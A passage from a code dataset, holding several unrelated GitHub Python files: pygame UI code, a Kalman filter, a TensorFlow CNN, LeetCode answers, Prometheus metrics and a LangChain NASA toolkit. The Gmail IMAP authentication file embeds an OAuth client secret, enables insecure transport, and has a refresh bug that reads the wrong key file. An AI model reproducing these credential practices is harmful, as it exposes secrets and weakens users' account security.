self.text_surf.get_rect(center=self.top_rect.center)\n\n def draw(self, layout):\n pygame.draw.rect(layout, self.color, self.top_rect)\n layout.blit(self.text_surf, self.text_rect)\n\nclass Button():\n def __init__(self, pos, image, layout):\n self.pos = layout.x\n self.layout = layout\n self.image = image\n self.rect = self.image.get_rect(topleft=(layout.x + pos[0], layout.y + pos[1]))\n def draw(self):\n self.layout.draw(self.image, (self.rect.x, self.rect.y))\n\nclass TextBox():\n def __init__(self, x, y, w, h, bg_color):\n self.x, self.y, self.w, self.h = x, y, w, h\n self.pos = vec(x, y)\n self.size = vec(w, h)\n self.image = pygame.Surface((w, h))\n self.bg_color = bg_color\n\n def draw(self, screen):\n self.image.fill(self.bg_color)\n screen.blit(self.image, self.pos)\n\nclass Layout():\n def __init__(self, screen, rect, color):\n self.screen = screen\n self.x = rect['x']\n self.y = rect['y']\n self.width = rect['width']\n self.height = rect['height']\n self.color = color\n self.layout = pygame.Surface((self.width, self.height))\n # Fonts\n self.size = 25\n self.consolas = pygame.font.SysFont('consolas', self.size)\n\n def draw(self, image, rect):\n self.screen.blit(image, rect)\n\n def update(self):\n self.layout.fill(self.color)\n print(self.x, self.y)\n self.screen.blit(self.layout, (self.x, self.y))\n\nif __name__ == '__main__':\n pygame.init()\n clock = pygame.time.Clock()\n end_dock = False\n layout_dock_rect = {\n 'x': 200,\n 'y': padding,\n 'width': 400,\n 'height': 400\n }\n layout_dock = Layout(screen, layout_dock_rect, 'white')\n button = Button((0, 0), btn_image, layout_dock)\n text_box = TextBox(100, 200, 200, 200, 'blue')\n\n while not end_dock:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n keys = pygame.key.get_pressed()\n if keys[pygame.K_ESCAPE]:\n end_dock = True\n screen.fill('grey')\n\n # layout_dock.update()\n text_box.draw(layout_dock.layout)\n # button.draw()\n pygame.display.flip()\n clock.tick(60)","repo_name":"XeviGmail/pythonGames","sub_path":"pygame fundamentals/buttons_layouts.py","file_name":"buttons_layouts.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43070371922","text":"# -*- coding: utf-8 -*-\r\n\r\n# Importação das bibliotecas\r\nimport numpy\r\nimport pandas as pd\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.font_manager as m\r\n\r\n# Leitura do arquivo com os dados\r\ndf = pd.read_excel(\"leituras_Analise.xlsx\")\r\n\r\n# Transformação dos dados do arquivo para lista\r\nMedidoS1 = df['Media S1'].tolist()\r\nMedidoS2 = df['Media S2'].tolist()\r\namostra= df['Amostra'].tolist()\r\n\r\n# Implementação do filtro linear de Kalman\r\nclass Filtro_Kalman_Linear:\r\n def __init__(self,_F, _B, _H, _x, _P, _Q, _R):\r\n self.F = _F # Matriz de transição de estados\r\n self.B = _B # Matriz de controle.\r\n self.H = _H # Matriz de observação\r\n self.estado_estimado_atual = _x # Estado inicial estimado\r\n self.estado_estimado_em_teste = _P # Matriz de variância de estado\r\n self.Q = _Q # Matriz de variância de processo\r\n self.R = _R # Matriz de variância de medição\r\n def GetCurrentState(self):\r\n return self.estado_estimado_atual\r\n def Step(self,vetor_controle,vetor_medicao):\r\n #--------------------------- Predição -----------------------------\r\n estimativa_estado_previsto = self.F * self.estado_estimado_atual + self.B * vetor_controle\r\n estimativa_estado_em_teste = (self.F * self.estado_estimado_em_teste) * numpy.transpose(self.F) + self.Q\r\n #-------------------------- Observação ----------------------------\r\n atualizacao = vetor_medicao - self.H*estimativa_estado_previsto\r\n covariancia_atualizada = self.H*estimativa_estado_em_teste*numpy.transpose(self.H) + self.R\r\n #-------------------------- Atualização ---------------------------\r\n ganho_Kalman = estimativa_estado_em_teste * numpy.transpose(self.H) * numpy.linalg.inv(covariancia_atualizada)\r\n self.estado_estimado_atual = estimativa_estado_previsto + ganho_Kalman * atualizacao\r\n # Precisamos do tamanho da matriz para que possamos fazer uma matriz de identidade\r\n tamanho = self.estado_estimado_em_teste.shape[0]\r\n # eye(n) = nxn matriz de identidade\r\n self.estado_estimado_em_teste = (numpy.eye(tamanho)-ganho_Kalman*self.H)*estimativa_estado_em_teste\r\n\r\n\r\n# Definição dos parâmetros do filtro\r\nF = numpy.matrix([1])\r\nB = numpy.matrix([1])\r\nH = numpy.matrix([1])\r\nQ = numpy.matrix([1])\r\nR = numpy.matrix([0.0001])\r\nxhat = numpy.matrix([100])\r\nP = numpy.matrix([0.001])\r\n\r\n# Instanciação do filtro\r\nfilter = Filtro_Kalman_Linear(F,B,H,xhat,P,Q,R)\r\n\r\n# Criação do vetor para atualização dos dados filtrados\r\nkalman = []\r\n\r\n# Laço de repetição para atualização do filtro\r\nfor i in range(2600):\r\n kalman.append(filter.GetCurrentState()[0,0])\r\n filter.Step(numpy.matrix([0]),df.loc[i,'Media S1'])\r\n\r\n\r\n# Definição dos nomes dos eixos do gráfico\r\npparam = dict(xlabel='Nº Amostras [1]', ylabel='Distância Medida [mm]')\r\n\r\n# Código para gerar o gráfico em formato ciêntifico e para exportação dos arquivos\r\nwith plt.style.context(['science', 'grid', 'no-latex']):\r\n fig, ax = plt.subplots()\r\n ax.plot(amostra, MedidoS1,'tab:blue', label='Sem filtro')\r\n ax.plot(amostra, kalman, 'tab:red', label='Com filtro')\r\n ax.legend(title='Sinal:', fontsize='small')\r\n ax.autoscale(tight=True)\r\n ax.set(**pparam)\r\n fig.savefig('Filtro_S1.pdf')\r\n fig.savefig('Filtro_S1.jpg', dpi=300)","repo_name":"Gibavp/FILTRO-DE-KALMAN-APLICADO-A-SENSORES-DE-DISTANCIA-A-LASER-COM-TECNOLOGIA-TIME-OF-FLIGHT","sub_path":"Filtro de Kalman/Algoritmo.py","file_name":"Algoritmo.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37528100458","text":"\"\"\"Handles IMAP operations for tMail, the terminal Gmail client\"\"\"\nimport os\nimport time\nfrom os import path\n\nfrom simplecrypt import decrypt, encrypt\nimport imaplib\n\nfrom requests_oauthlib import OAuth2Session\n\n\nCLIENT_ID = '47637480825-5d3ndp33q8m6eojt015p9th1q5cig3bm.apps.googleusercontent.com'\nCLIENT_SECRET = 'xjFxdgVhJZjypUUoW7sC8R4Y'\nREDIRECT_URI = 'urn:ietf:wg:oauth:2.0:oob'\nSCOPE = 'https://mail.google.com/'\n\nSETTINGS_DIR = '.tmail'\nSETTINGS_FILE = 'settings.txt'\nREFRESH_KEY_FILE = '.refresh_key'\nACCESS_KEY_FILE = '.access_key'\n\n\ndef _generate_auth_string(user, token):\n \"\"\"Generates the string to use when authenticating within IMAP\"\"\"\n return 'user=%s\\1auth=Bearer %s\\1\\1' % (user, token)\n\n\ndef get_expiration():\n \"\"\"Retrieves the access token expiration from the settings file\"\"\"\n with open(path.join(\n path.expanduser('~'),\n SETTINGS_DIR,\n SETTINGS_FILE)) as settings_file:\n for line in settings_file:\n if line.startswith('expiration'):\n tokens = line.split('=')\n return float(tokens[1])\n raise IOError('No expiration in settings')\n\n\ndef refresh_access_token():\n \"\"\"Refreshes the access token\"\"\"\n with open(path.join(\n path.expanduser('~'),\n SETTINGS_DIR,\n ACCESS_KEY_FILE), 'rb') as key_file:\n refresh_token = key_file.read()\n refresh_token = decrypt(CLIENT_SECRET, refresh_token).decode('utf-8')\n google = OAuth2Session(client_id=CLIENT_ID)\n\n token = google.refresh_token(\n 'https://accounts.google.com/o/oauth2/token',\n refresh_token=refresh_token,\n client_secret=CLIENT_SECRET,\n client_id=CLIENT_ID)\n\n return token['access_token'], token['expires_in']\n\ndef save_expiration(expiration):\n \"\"\"Saves over any existing expiration in the settings file\"\"\"\n with open(\n path.join(path.expanduser('~'), SETTINGS_DIR, SETTINGS_FILE),\n 'r+') as settings_file:\n lines = settings_file.readlines()\n with open(\n path.join(path.expanduser('~'), SETTINGS_DIR, SETTINGS_FILE),\n 'w+') as settings_file:\n for line in lines:\n if not line.startswith('expiration'):\n settings_file.write(line)\n with open(\n path.join(path.expanduser('~'), SETTINGS_DIR, SETTINGS_FILE),\n 'a+') as settings_file:\n settings_file.write('expiration=' + str(time.time() + expiration))\n\n\ndef get_access_token():\n \"\"\"Retrieves the access token from the keys file\"\"\"\n try:\n expiration = get_expiration()\n assert expiration > time.time()\n except AssertionError:\n access_token, expiration = refresh_access_token()\n save_expiration(expiration)\n return access_token\n\n with open(path.join(\n path.expanduser('~'),\n SETTINGS_DIR,\n ACCESS_KEY_FILE), 'rb') as key_file:\n access_token = key_file.read()\n return decrypt(CLIENT_SECRET, access_token).decode('utf-8')\n\n\ndef get_username():\n \"\"\"Retrieves the username from the settings file\"\"\"\n with open(path.join(\n path.expanduser('~'),\n SETTINGS_DIR,\n SETTINGS_FILE)) as settings_file:\n for line in settings_file:\n if line.startswith('username'):\n tokens = line.split('=')\n return tokens[1]\n raise IOError('No username in settings')\n\ndef oauth_process():\n \"\"\"Goes through the OAuth2 process for Gmail\"\"\"\n os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n os.environ['OAUTHLIB_RELAX_TOKEN_SCOPE'] = '1'\n\n google = OAuth2Session(\n client_id=CLIENT_ID,\n scope=SCOPE,\n redirect_uri=REDIRECT_URI)\n authorization_url = google.authorization_url(\n 'https://accounts.google.com/o/oauth2/auth')\n print('Please visit this url to authenticate: ')\n print(authorization_url)\n authorization_response = input('Please enter the authorization code: ')\n token = google.fetch_token(\n 'https://accounts.google.com/o/oauth2/token',\n client_secret=CLIENT_SECRET,\n code=authorization_response)\n\n return token['refresh_token'], token['access_token'], float(token['expires_in'])\n\n\ndef save_username():\n username = input('Please enter your Gmail address: ')\n with open(\n path.join(path.expanduser('~'), SETTINGS_DIR, SETTINGS_FILE),\n 'a+') as settings_file:\n settings_file.write('username=' + username + '\\n')\n return username\n\ndef authenticate():\n \"\"\"Authenticates the current user using OAuth2\"\"\"\n username = None\n\n try:\n access_token = get_access_token()\n except IOError:\n os.makedirs(path.join(path.expanduser('~'), SETTINGS_DIR), exist_ok=True)\n\n username = save_username()\n\n refresh_token, access_token, expiration = oauth_process()\n save_expiration(expiration)\n\n with open(\n path.join(path.expanduser('~'), SETTINGS_DIR, REFRESH_KEY_FILE),\n 'wb+') as refresh_key_file:\n refresh_key_file.write(encrypt(CLIENT_SECRET, refresh_token))\n with open(\n path.join(path.expanduser('~'), SETTINGS_DIR, ACCESS_KEY_FILE),\n 'wb+') as access_key_file:\n access_key_file.write(encrypt(CLIENT_SECRET, access_token))\n\n if username is None:\n try:\n username = get_username()\n except IOError:\n username = save_username()\n\n auth_string = _generate_auth_string(username, access_token)\n imap_conn = imaplib.IMAP4_SSL('imap.gmail.com')\n imap_conn.authenticate('XOAUTH2', lambda x: auth_string.encode('ascii'))\n return imap_conn\n","repo_name":"nortonprojects/terMail","sub_path":"authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71649460385","text":"from apps.ml.cxrnet.augmentations import get_transform\n\nfrom pytorch_grad_cam import GradCAM, HiResCAM, ScoreCAM, GradCAMPlusPlus, AblationCAM, XGradCAM, EigenCAM, FullGrad\nfrom pytorch_grad_cam.utils.image import show_cam_on_image\n\ndef gradcam(image, model):\n\n model_children = list(model.features.children())\n target_layers = [model_children[-2]]\n\n transform = get_transform(train=False, img_size=224, rotate_degree=0)\n image = transform(image=image)[\"image\"]\n origin = image.numpy().transpose(1,2,0)\n origin = origin - origin.min()\n origin = origin / origin.max()\n image = image.unsqueeze(0)\n\n input_tensor = image\n cam = GradCAM(model=model, target_layers=target_layers, use_cuda=False)\n\n targets = None\n\n grayscale_cam = cam(input_tensor=input_tensor, targets=targets)\n\n grayscale_cam = grayscale_cam[0, :]\n visualization = show_cam_on_image(origin, grayscale_cam, use_rgb=True)\n\n return visualization","repo_name":"DongDong-Zoez/Multi-Label-CXR-Classifier-Docker-Develop","sub_path":"apps/ml/cxrnet/gradcam.py","file_name":"gradcam.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38526797839","text":"#\n# @lc app=leetcode.cn id=88 lang=python3\n#\n# [88] 合并两个有序数组\n#\n\n# @lc code=start\nclass Solution:\n def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n \"\"\"\n Do not return anything, modify nums1 in-place instead.\n \"\"\"\n length1 = m\n length2 = n\n length = m+n\n for index in range(length-1, -1, -1):\n if not length2:\n return nums1\n if not length1 or nums1[length1-1] < nums2[length2-1]:\n val = nums2[length2-1]\n length2 -= 1\n else:\n val = nums1[length1 - 1]\n length1 -= 1\n nums1[index] = val\n return nums1\n\n\nclass Solution:\n def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n length = m+n\n while m and n:\n if nums1[m-1] > nums2[n-1]:\n nums1[length-1] = nums1[m-1]\n m -= 1\n else:\n nums1[length-1] = nums2[n-1]\n n -= 1\n length -= 1\n nums1[:n] = nums2[:n]\n return nums2\n\n\n# @lc code=end\n","repo_name":"hyram-zhang/leetcode","sub_path":"88.合并两个有序数组.py","file_name":"88.合并两个有序数组.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18207336853","text":"import random\n\ndef load_quotes(fn):\n with open('quotes.txt', 'r') as f:\n quotes = []\n quote_lines = f.readlines()\n quote = by = ''\n for quote_line in quote_lines:\n if quote_line.startswith('-'):\n by = quote_line.strip('-\\n ')\n quotes.append((quote, by))\n elif quote_line == '':\n quote = by = ''\n else:\n quote = quote_line.strip('-\\n ')\n return quotes\n\nif __name__ == '__main__':\n quotes = load_quotes('quotes.txt')\n print(random.choice(quotes))\n","repo_name":"dangoldin/quotes","sub_path":"random_quote.py","file_name":"random_quote.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13805869999","text":"\"\"\"\nCreated on Fri Jun 15 08:34:55 2018\n\n@author: jens\n\"\"\"\n\n#Importing\nimport numpy as np\nimport os\nfrom skimage import transform, io\nimport random\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\n# tensorflow functions -------------------------------------\ndef weight_variable(shape):\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial)\n\ndef bias_variable(shape):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\n\ndef conv2d(x, W):\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n\ndef max_pool(x,a):\n return tf.nn.max_pool(x, ksize=[1, a, a, 1],\n strides=[1, a, a, 1], padding='SAME')\n\n\n# data wrangling functions ---------------------------------\ndef split_train_test(X,y,split):\n shuffler = np.append(X,np.reshape(y, (-1,1)), axis = 1)\n np.random.shuffle(shuffler)\n ratio = int(split*len(y)) + 1\n X_train = shuffler[:ratio, :-1]\n y_train = shuffler[:ratio, -1]\n X_test = shuffler[ratio:, :-1]\n y_test = shuffler[ratio:, -1]\n return X_train, y_train, X_test, y_test\n\ndef label_hot_encode(y):\n hot_encode = np.ones((len(y), len(np.unique(y))))*np.unique(y)\n for i in range(len(y)):\n hot_encode[i,:] = (hot_encode[i,:] == y[i])*1\n return hot_encode\n\n\n\nread_data = np.loadtxt('DataLabels_in_list_format.txt')\n\ntraining_data, training_label, test_data, test_label = split_train_test(read_data[:, :-1], read_data[:, -1], 0.8)\n\ntraining_label = label_hot_encode(training_label)\ntest_label = label_hot_encode(test_label)\n\nnp.savetxt('Training_data_HotEncode.txt', np.append(training_data,training_label, axis = 1))\nnp.savetxt('Test_data_HotEncode.txt', np.append(test_data, test_label, axis = 1))\n\nTrainImBatch, TrainLabBatch = tf.train.shuffle_batch([training_data, training_label], batch_size=50, enqueue_many=True,\n capacity=2000,\n min_after_dequeue=1000)\n\nTestImBatch, TestLabBatch = tf.train.shuffle_batch([test_data, test_label], batch_size=50, enqueue_many=True,\n capacity=2000,\n min_after_dequeue=1000)\n\nsess = tf.InteractiveSession(config=tf.ConfigProto(log_device_placement=True))\n\n# Setting Dimensions\ndim_label = test_label.shape[1]\ndim_pic = training_data.shape[1]\n\n# Inputs\nx_ = tf.placeholder(tf.float32, shape=[None, dim_pic], name = 'input')\nx_image = tf.reshape(x_, [-1, 42, 42, 1])\ny_ = tf.placeholder(tf.float32, shape=[None, dim_label], name = \"true_labels\")\n\n\n# first convolutional layer\nW_conv1 = weight_variable([5, 5, 1, 32])\nb_conv1 = bias_variable([32])\n\nh_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)\n\nh_pool1 = max_pool(h_conv1, 2)\n\n# Second convolutional layer\nW_conv2 = weight_variable([5, 5, 32, 64])\nb_conv2 = bias_variable([64])\n\nh_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\nh_pool2 = max_pool(h_conv2, 3)\n\n# Densely connected layer\nW_fc1 = weight_variable([7 * 7 * 64, 1024]) # a*a*64 what is a in my case?\nb_fc1 = bias_variable([1024])\n\nh_pool2_flat = tf.reshape(h_pool2, [-1, 7 * 7 * 64])\nh_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\n\n# Dropout\nkeep_prob = tf.placeholder(tf.float32)\nh_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\n# Readout layer\nW_fc2 = weight_variable([1024, dim_label])\nb_fc2 = bias_variable([dim_label])\n\ny_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2\n\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y_conv))\ntrain_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\ncorrect_prediction = tf.equal(tf.argmax(y_conv, 1), tf.argmax(y_, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\nsess.run(tf.global_variables_initializer())\n\n# Add ops to save and restore all the variables.\nsaver = tf.train.Saver()\n\ncoord = tf.train.Coordinator()\nthreads = tf.train.start_queue_runners(coord=coord)\n\nfor i in range(2000):\n if i%50 == 0:\n print(i)\n x_batch, y_batch = sess.run([TrainImBatch, TrainLabBatch])\n sess.run(train_step, feed_dict={x_: x_batch, y_: y_batch, keep_prob: 0.5})\n if i % 100 == 0:\n x_test_batch, y_test_batch = sess.run([TestImBatch, TestLabBatch])\n train_accuracy = accuracy.eval(feed_dict={x_: x_test_batch, y_: y_test_batch, keep_prob: 1.0})\n print('step {}, training accuracy {}'.format(i, train_accuracy))\n print(keep_prob.name)\nprint('test accuracy {}'.format(accuracy.eval(feed_dict={x_: test_data, y_: test_label, keep_prob: 1.0})))\n\ncoord.request_stop()\ncoord.join(threads)\nsaver.save(sess, './RELU_net/testing_net_RELU')\n\n","repo_name":"jeMATHfischer/Classification_of_Morphed_Img_via_CNN","sub_path":"ImWrap_TensorFlow.py","file_name":"ImWrap_TensorFlow.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24558800767","text":"from typing import Dict, List\n\nfrom langchain_community.agent_toolkits.base import BaseToolkit\nfrom langchain_community.tools import BaseTool\nfrom langchain_community.tools.nasa.prompt import (\n NASA_CAPTIONS_PROMPT,\n NASA_MANIFEST_PROMPT,\n NASA_METADATA_PROMPT,\n NASA_SEARCH_PROMPT,\n)\nfrom langchain_community.tools.nasa.tool import NasaAction\nfrom langchain_community.utilities.nasa import NasaAPIWrapper\n\n\nclass NasaToolkit(BaseToolkit):\n \"\"\"Nasa Toolkit.\"\"\"\n\n tools: List[BaseTool] = []\n\n @classmethod\n def from_nasa_api_wrapper(cls, nasa_api_wrapper: NasaAPIWrapper) -> \"NasaToolkit\":\n operations: List[Dict] = [\n {\n \"mode\": \"search_media\",\n \"name\": \"Search NASA Image and Video Library media\",\n \"description\": NASA_SEARCH_PROMPT,\n },\n {\n \"mode\": \"get_media_metadata_manifest\",\n \"name\": \"Get NASA Image and Video Library media metadata manifest\",\n \"description\": NASA_MANIFEST_PROMPT,\n },\n {\n \"mode\": \"get_media_metadata_location\",\n \"name\": \"Get NASA Image and Video Library media metadata location\",\n \"description\": NASA_METADATA_PROMPT,\n },\n {\n \"mode\": \"get_video_captions_location\",\n \"name\": \"Get NASA Image and Video Library video captions location\",\n \"description\": NASA_CAPTIONS_PROMPT,\n },\n ]\n tools = [\n NasaAction(\n name=action[\"name\"],\n description=action[\"description\"],\n mode=action[\"mode\"],\n api_wrapper=nasa_api_wrapper,\n )\n for action in operations\n ]\n return cls(tools=tools)\n\n def get_tools(self) -> List[BaseTool]:\n \"\"\"Get the tools in the toolkit.\"\"\"\n return self.tools\n","repo_name":"langchain-ai/langchain","sub_path":"libs/community/langchain_community/agent_toolkits/nasa/toolkit.py","file_name":"toolkit.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":68990,"dataset":"github-code","pt":"7"} +{"seq_id":"30585691964","text":"# -*- coding: utf-8 -*-\n\"\"\" Metrics Service\n\nThe metrics service manages:\n* Connectivity to the Prometheus Server\n* Creating default summary views in Prometheus\n* Publishing `Request` metrics\n\"\"\"\n\nimport datetime\nimport logging\nfrom http.server import ThreadingHTTPServer\n\nfrom brewtils.models import Request\nfrom brewtils.stoppable_thread import StoppableThread\nfrom prometheus_client import Counter, Gauge, Summary\nfrom prometheus_client.exposition import MetricsHandler\nfrom prometheus_client.registry import REGISTRY\n\nimport beer_garden.db.api as db\n\n\nclass PrometheusServer(StoppableThread):\n \"\"\"Wraps a ThreadingHTTPServer to serve Prometheus metrics\"\"\"\n\n def __init__(self, host, port):\n self.logger = logging.getLogger(__name__)\n self.display_name = \"Prometheus Server\"\n\n self._host = host\n self._port = port\n\n # Basically prometheus_client.exposition.start_http_server\n metrics_handler = MetricsHandler.factory(REGISTRY)\n self.httpd = ThreadingHTTPServer((host, port), metrics_handler)\n\n super(PrometheusServer, self).__init__(\n logger=self.logger, name=\"PrometheusServer\"\n )\n\n def run(self):\n self.logger.debug(\"Initializing metric counts\")\n initialize_counts()\n\n self.logger.info(f\"Starting {self.display_name} on {self._host}:{self._port}\")\n self.httpd.serve_forever()\n\n self.logger.info(f\"{self.display_name} is stopped\")\n\n def stop(self):\n self.httpd.shutdown()\n\n\n# Summaries:\nplugin_command_latency = Summary(\n \"bg_plugin_command_latency_seconds\",\n \"Total time taken for a command to complete in seconds.\",\n [\"system\", \"instance_name\", \"system_version\", \"command\", \"status\"],\n)\n\n# Counters:\ncompleted_request_counter = Counter(\n \"bg_completed_requests_total\",\n \"Number of completed requests.\",\n [\"system\", \"instance_name\", \"system_version\", \"command\", \"status\"],\n)\nrequest_counter_total = Counter(\n \"bg_requests_total\",\n \"Number of requests.\",\n [\"system\", \"instance_name\", \"system_version\", \"command\"],\n)\n\n# Gauges:\nqueued_request_gauge = Gauge(\n \"bg_queued_requests\",\n \"Number of requests waiting to be processed.\",\n [\"system\", \"instance_name\", \"system_version\"],\n)\nin_progress_request_gauge = Gauge(\n \"bg_in_progress_requests\",\n \"Number of requests IN_PROGRESS\",\n [\"system\", \"instance_name\", \"system_version\"],\n)\n\n\ndef request_latency(start_time):\n \"\"\"Measure request latency in seconds as a float.\"\"\"\n return (datetime.datetime.utcnow() - start_time).total_seconds()\n\n\ndef initialize_counts():\n requests = db.query(\n Request, filter_params={\"status__in\": [\"CREATED\", \"IN_PROGRESS\"]}\n )\n for request in requests:\n label_args = {\n \"system\": request.system,\n \"system_version\": request.system_version,\n \"instance_name\": request.instance_name,\n }\n\n if request.status == \"CREATED\":\n queued_request_gauge.labels(**label_args).inc()\n elif request.status == \"IN_PROGRESS\":\n in_progress_request_gauge.labels(**label_args).inc()\n\n\ndef request_created(request):\n queued_request_gauge.labels(\n system=request.system,\n system_version=request.system_version,\n instance_name=request.instance_name,\n ).inc()\n request_counter_total.labels(\n system=request.system,\n system_version=request.system_version,\n instance_name=request.instance_name,\n command=request.command,\n ).inc()\n\n\ndef request_started(request):\n \"\"\"Update metrics associated with a Request update\n\n This call should happen after the save to the database.\n\n \"\"\"\n labels = {\n \"system\": request.system,\n \"system_version\": request.system_version,\n \"instance_name\": request.instance_name,\n }\n\n queued_request_gauge.labels(**labels).dec()\n in_progress_request_gauge.labels(**labels).inc()\n\n\ndef request_completed(request):\n \"\"\"Update metrics associated with a Request update\n\n This call should happen after the save to the database.\n\n \"\"\"\n labels = {\n \"system\": request.system,\n \"system_version\": request.system_version,\n \"instance_name\": request.instance_name,\n }\n\n in_progress_request_gauge.labels(**labels).dec()\n\n latency = request_latency(request.created_at)\n labels[\"command\"] = request.command\n labels[\"status\"] = request.status\n\n completed_request_counter.labels(**labels).inc()\n plugin_command_latency.labels(**labels).observe(latency)\n","repo_name":"beer-garden/beer-garden","sub_path":"src/app/beer_garden/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","stars":244,"dataset":"github-code","pt":"7"} +{"seq_id":"4363246330","text":"print(\"Welcome to the Love Calculator!\")\nname1 = input(\"What is your name? \\n\")\nname2 = input(\"What is their name? \\n\")\n\nname1_lowered = name1.lower()\nname2_lowered = name2.lower()\n\n\ndef search_count(person_name1, person_name2):\n t = person_name1.count(\"t\")\n r = person_name1.count(\"r\")\n u = person_name1.count(\"u\")\n e = person_name1.count(\"e\")\n\n t2 = person_name2.count(\"t\")\n r2 = person_name2.count(\"r\")\n u2 = person_name2.count(\"u\")\n e2 = person_name2.count(\"e\")\n\n total_true = t + r + u + e + t2 + r2 + u2 + e2\n\n l = person_name1.count(\"l\")\n o = person_name1.count(\"o\")\n v = person_name1.count(\"v\")\n e = person_name1.count(\"e\")\n\n l2 = person_name2.count(\"l\")\n o2 = person_name2.count(\"o\")\n v2 = person_name2.count(\"v\")\n e2 = person_name2.count(\"e\")\n\n total_love = l + o + v + e + l2 + o2 + v2 + e2\n\n parsed = str(total_true) + str(total_love)\n return int(parsed)\n\n\nfunction = search_count(name1_lowered, name2_lowered)\n\nif function < 10 or function > 90:\n print(f\"Your score is {function}, you go together like coke and mentos.\")\n\nelif function >= 40 and function <= 50:\n print(f\"Your score is {function}, you are alright together.\")\n\nelse:\n print(f\"Your score is {function}.\")\n","repo_name":"moralesveratom/100-days-python","sub_path":"day-03/Love_Calculator.py","file_name":"Love_Calculator.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13883379652","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n# ======================================================================================================================\n# Created at 05/01/17 by Marco Aurélio Prado - marco.pdsv@gmail.com\n# ======================================================================================================================\nimport markdown\n\nfrom flask_bombril.utils import raise_with_stop\nfrom flask_bombril import R\n\n\nclass MarkdownValidator(object):\n def __init__(self, message=R.string.invalid_markdown_format, stop=True):\n self.message = message\n self.stop = stop\n\n def __call__(self, form, field):\n if callable(self.message):\n self.message = self.message()\n\n try:\n markdown.markdown(field.data)\n except Exception:\n raise_with_stop(self)\n","repo_name":"marcoprado17/crescer-saudavel-2","sub_path":"src/flask_bombril/form_validators/markdown_validator/markdown_validator.py","file_name":"markdown_validator.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36115992880","text":"import numpy as np\nimport os, glob\nimport time\n\nimport pyarrow as pa\nimport pyarrow.parquet as pq\n\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import *\nimport torch_resnet_concat as networks\nfrom modules import *\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nplt.rcParams[\"figure.figsize\"] = (5,5)\nplt.switch_backend('agg')\n\nrun = 0\nnp.random.seed(run)\n\n\ndef get_args():\n parser = argparse.ArgumentParser(description='Training parameters.')\n parser.add_argument('-batch_size', '--batch_size', type=int, default = 32, help='Batch size')\n parser.add_argument('-epochs', '--epochs' , default = 10, type=int, help='Number of epochs') \n parser.add_argument('-load_epoch', '--load_epoch' , default = 0, type=int, help='Load epoch') \n\n parser.add_argument('-lr', '--lr' , default = 0.001, type=float, help='Learning rate')\n \n parser.add_argument('-resblocks', '--resblocks' , default = 3, type=str, help='Number of blocks in ResNet')\n \n \n# parser.add_argument('-CSC_data_path', '--CSC_data_path', type=str, help='Path to the input')\n# parser.add_argument('-y_file_path', '--y_file_path', type=str, help='Path to the targets')\n# parser.add_argument('-res_dir', '--res_dir', default = '.', type=str, help='Path to the targets')\n\n return parser.parse_args()\n\n\n\ndef main():\n \n args = get_args()\n print ('Got the arguments')\n train_cut = int(len(datasets) * 0.2)\n mass_bins = np.arange(3600,17000+670,670)/1000. # for histogram in eval()\n \n is_cuda, run_logger = True, True\n expt_name = 'TopGun'\n \n if run_logger:\n global f\n if not os.path.isdir('LOGS'):\n os.makedirs('LOGS')\n f = open('LOGS/%s.log'%(expt_name), 'w')\n for d in ['MODELS', 'PLOTS']:\n if not os.path.isdir('%s/%s'%(d, expt_name)):\n os.makedirs('%s/%s'%(d, expt_name))\n \n \n resnet = networks.ResNet(3, args.resblocks, [16, 32])\n if is_cuda: \n resnet.cuda()\n optimizer = optim.Adam(resnet.parameters(), lr=args.lr)\n \n train_loader, val_loader = train_val_loader(datasets, train_cut, args.batch_size, random_sampler=False)\n train(load_epoch, 